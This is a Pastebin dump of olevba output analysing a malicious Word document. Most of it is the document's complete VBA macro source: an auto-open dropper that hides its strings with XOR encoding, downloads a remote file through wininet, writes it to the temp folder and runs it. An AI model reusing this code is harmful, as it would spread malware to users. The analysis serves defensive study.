Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.25 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASIHB- cswift~1.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
- ===============================================================================
- FILE: cswift~1.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: cswift~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub DWIGHT(FELIX As Long)
- SHAUN
- End Sub
- Sub autoopen()
- DWIGHT 333
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +----------+----------+---------------------------------------+
- | Type | Keyword | Description |
- +----------+----------+---------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- +----------+----------+---------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO OIDL8.bas
- in file: cswift~1.doc - OLE stream: u'Macros/VBA/OIDL8'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function JEREMIAH(ByRef JULIUS As String, ByRef DONNIE As Long) As Integer
- JEREMIAH = Asc(MARION(33, JULIUS, _
- ((DONNIE Mod ANTONIO(JULIUS)) + 1), 1))
- End Function
- Public Function SHANNON() As Object
- Dim TREVOR As String
- TREVOR = ALBERT(JULIO, LANCE)
- Set SHANNON = CreateObject(TREVOR)
- End Function
- Public Function DERRICK(ByRef OLIVER As Object, ByRef HOMER As Object) As Boolean
- Dim GERARD As Long
- Set OLIVER = HUBERT(SHANNON)
- Dim HECTOR
- Dim KENNY As String
- KENNY = HERMAN(2048, JULIO, DUANE)
- For GERARD = 292 To 293
- GERARD = GERARD * 1
- Next GERARD
- HECTOR = OLIVER & KENNY
- If SIDNEY(HOMER, HECTOR) Then
- HOMER. _
- DeleteFile HECTOR
- End If
- If WILBUR(3, HECTOR) Then
- End If
- If SIDNEY(HOMER, HECTOR) Then
- End If
- DERRICK = RICARDO(OLIVER, KENNY, 7.2)
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+--------------+--------------------------+
- | Type | Keyword | Description |
- +------------+--------------+--------------------------+
- | Suspicious | CreateObject | May create an OLE object |
- +------------+--------------+--------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO PIDLE0.bas
- in file: cswift~1.doc - OLE stream: u'Macros/VBA/PIDLE0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function HUBERT(ByRef NICHOLAS As Object) As Object
- Set HUBERT = NICHOLAS.GetSpecialFolder(2)
- End Function
- Sub ALFONSO(CALEIGH As Double)
- CAMERON ("BRUCE")
- End Sub
- Public Function RICARDO(ByRef OLIVER As Object, ByRef KENNY As String, RUBEN As Double) As Boolean
- Set SHANE = CreateObject _
- (ALBERT _
- (JULIO, CECIL))
- Dim BRETT As Integer
- BRETT = SHANE.Open(OLIVER & KENNY)
- End Function
- Public Function ALBERT(JULIUS As String, ADAM As String) As String
- Dim PERRY As Integer
- Dim SERGIO As Integer
- Dim WAYNE As Double
- For WAYNE = 42 To 43
- If WAYNE = 32 Then End
- Next WAYNE
- Dim DONNIE As Long
- Dim STEVE As String
- For DONNIE = 1 _
- To _
- ( _
- ANTONIO _
- (ADAM) _
- / 2)
- PERRY = CHRIS(ADAM, DONNIE)
- SERGIO = JEREMIAH(JULIUS, DONNIE)
- STEVE = STEVE + PHILIP(PERRY, SERGIO)
- Next DONNIE
- ALBERT = STEVE
- End Function
- Public Function CAMERON(REX As String)
- Dim NEAL As Double
- NEAL = 5.5
- CARLTON NEAL * 8.8
- NEAL = NEAL + 1
- End Function
- Sub SHAUN()
- Dim MATT As Long
- Dim LYLE As Long
- For LYLE = 2 To 4
- LYLE = LYLE * 6
- Next LYLE
- ALFONSO (4.4)
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+--------------+--------------------------+
- | Type | Keyword | Description |
- +------------+--------------+--------------------------+
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Open | May open a file |
- +------------+--------------+--------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO IDL4.bas
- in file: cswift~1.doc - OLE stream: u'Macros/VBA/IDL4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function CARLTON(ERNESTO As Double)
- Dim LUTHER As Object
- Dim FREDRICK As Long
- For FREDRICK = 814 To 815
- FREDRICK = FREDRICK + 35
- Next FREDRICK
- Dim WENDELL As Object
- For FREDRICK = 710 To 711
- FREDRICK = FREDRICK + 5
- Next FREDRICK
- Set WENDELL _
- = SHANNON()
- ERNESTO = ERNESTO + 7
- For FREDRICK = 232 To 233
- FREDRICK = FREDRICK + 28
- Next FREDRICK
- Dim LEWIS As Boolean
- LEWIS = DERRICK(LUTHER, WENDELL)
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- No suspicious keyword or IOC found.
- -------------------------------------------------------------------------------
- VBA MACRO FILE6.bas
- in file: cswift~1.doc - OLE stream: u'Macros/VBA/FILE6'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Option Explicit
- Public Const CECIL = "1F292E292B7C003E242E25222A312E3D2F"
- Public Const DUANE = "10263924292679277A273424"
- Public Const LONNIE = "24353F357D7D6E213B2E2D26223322216F2D3B2F63737F6A70617260313A29"
- Public Const LANCE = "1F22392C37262820336C0A282720142B323A312F032321202426"
- Public Const JULIO = "BLAKEGRANT"
- Private Const ORLANDO = 4000
- Private Const KURT As String = "NELSON"
- Private Const ALLAN = 1
- Private Const CLAYTON = &H4000000
- Public Function PHILIP(ByRef PERRY As Integer, ByRef SERGIO As Integer) As String
- PHILIP = Chr(PERRY Xor SERGIO)
- End Function
- Public Function CHRIS(ByRef ADAM As String, ByRef DONNIE As Long) As Integer
- CHRIS = Val("&H" & (MARION(32, ADAM, JOHNNY(DONNIE), 2)))
- End Function
- Public Function JOHNNY(ByRef DONNIE As Long) As Long
- JOHNNY = (2 * DONNIE) - 1
- End Function
- Public Function WILBUR(LORENZO As Long, ByVal OMAR As String) As Boolean
- #If VBA7 _
- And Win64 Then
- Dim LEONARD As LongPtr, STANLEY As LongPtr
- #Else
- Dim LEONARD As Long, STANLEY As Long
- #End If
- Dim FRANK As Long
- Dim MARK As String * ORLANDO, CHARLES As String
- Dim MIKE As Integer, NATHAN As Double
- LEONARD = TERRANCE
- If LEONARD = 0 Then
- Exit Function
- End If
- Dim STEPHEN As Boolean
- If DARYL(STANLEY, LEONARD) Then
- End If
- If STANLEY = 0 Then
- NATHAN = 0
- Else
- WALLACE STANLEY, MARK, ORLANDO, FRANK
- CHARLES = MARK
- Dim RAYMOND As Long
- For RAYMOND = 321 To 322
- If RAYMOND = 1232 Then End
- Next RAYMOND
- Do While FRANK <> 0
- WALLACE STANLEY, MARK, ORLANDO, FRANK
- CHARLES = CHARLES + Mid(MARK, 1, FRANK)
- Loop
- NATHAN = ANTONIO(CHARLES): _
- MIKE = DANNY("JERRY")
- Open OMAR _
- For Binary Access Write _
- Lock Write _
- As #MIKE
- Put #MIKE, _
- , CHARLES
- Dim DENNIS As Double
- For DENNIS = 42 To 43
- If DENNIS = 437 Then End
- Next DENNIS
- Close #MIKE
- End If
- EVERETT STANLEY
- EVERETT LEONARD
- CHARLES = ""
- If NATHAN Then
- WILBUR = True
- End If
- End Function
- Public Function ANTONIO(SALVADOR As String) As Long
- ANTONIO = Len(SALVADOR)
- End Function
- Public Function DANNY(SALVADOR As String) As Integer
- DANNY = FreeFile
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+-------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+-------------+-----------------------------------------+
- | Suspicious | Open | May open a file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Put | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Xor | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Binary | May read or write a binary file (if |
- | | | combined with Open) |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- +------------+-------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO IDL3.bas
- in file: cswift~1.doc - OLE stream: u'Macros/VBA/IDL3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const JAMES = "JOHN"
- #If VBA7 And Win64 Then
- Public _
- Declare _
- PtrSafe _
- Function _
- EVERETT Lib _
- "wininet.dll" Alias "InternetCloseHandle" (ByRef RICHARD As LongPtr) As Long
- Public _
- Declare _
- PtrSafe _
- Function _
- EDUARDO Lib _
- "wininet.dll" Alias "InternetOpenA" (ByVal CHARLES As String, ByVal OMARPH As Long, ByVal THOMAS As String, ByVal CHRISTOPHER As String, ByVal DANIEL As Long) As LongPtr
- Public _
- Declare _
- PtrSafe _
- Function _
- WALLACE Lib _
- "wininet.dll" Alias "InternetReadFile" (ByVal PAUL As LongPtr, ByVal MARK As String, ByVal DONALD As Long, GEORGE As Long) As Integer
- Public _
- Declare _
- PtrSafe _
- Function _
- ALFREDO Lib _
- "wininet.dll" Alias "InternetOpenUrlA" (ByVal KENNETH As LongPtr, ByVal STEVEN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As LongPtr
- #Else
- Public Declare Function EVERETT Lib "wininet.dll" _
- Alias "InternetCloseHandle" (ByRef RICHARD As Long) As Long
- Public Declare Function EDUARDO Lib "wininet.dll" _
- Alias "InternetOpenA" (ByVal CHARLES As String, ByVal OMARPH As Long, ByVal THOMAS As String, ByVal CHRISTOPHER As String, ByVal DANIEL As Long) As Long
- Public Declare Function WALLACE Lib "wininet.dll" _
- Alias "InternetReadFile" (ByVal PAUL As Long, ByVal MARK As String, ByVal DONALD As Long, GEORGE As Long) As Integer
- Public Declare Function ALFREDO Lib "wininet.dll" _
- Alias "InternetOpenUrlA" (ByVal KENNETH As Long, ByVal STEVEN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As Long
- #End If
- Public Function SIDNEY(ByRef JULIAN As Object, ByVal ISAAC As String) As Boolean
- If JULIAN.FileExists(ISAAC) Then
- SIDNEY = True
- Else
- SIDNEY = False
- End If
- End Function
- #If VBA7 _
- And Win64 Then
- Public Function DARYL(ByRef CLIFTON As LongPtr, MORRIS As LongPtr) As Boolean
- #Else
- Public Function DARYL(ByRef CLIFTON As Long, MORRIS As Long) As Boolean
- #End If
- Dim WILLARD As String
- Dim HOWARD As Long
- WILLARD _
- = HERMAN(21, JULIO, LONNIE)
- CLIFTON _
- = ALFREDO _
- ( _
- MORRIS, _
- WILLARD, vbNullString, _
- 0, _
- CLAYTON, 0)
- DARYL = True
- End Function
- Public Function MARION(TRACY As Long, ByRef SALVADOR As String, ByRef PERRY As Integer, ByRef SERGIO As Integer) As String
- MARION = Mid$(SALVADOR, PERRY, SERGIO)
- TRACY = TRACY + 50
- End Function
- #If VBA7 _
- And Win64 Then
- Public Function TERRANCE() As LongPtr
- #Else
- Public Function TERRANCE() As Long
- #End If
- TERRANCE = EDUARDO(KURT, ALLAN, vbNullString, vbNullString, 0)
- End Function
- Public Function HERMAN(FREDDIE As Long, TERRENCE As String, ENRIQUE As String) As String
- FREDDIE = FREDDIE * 2
- HERMAN = ALBERT(TERRENCE, ENRIQUE)
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+----------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------+-----------------------------------------+
- | Suspicious | Lib | May run code from a DLL |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | wininet.dll | Executable file name |
- +------------+----------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement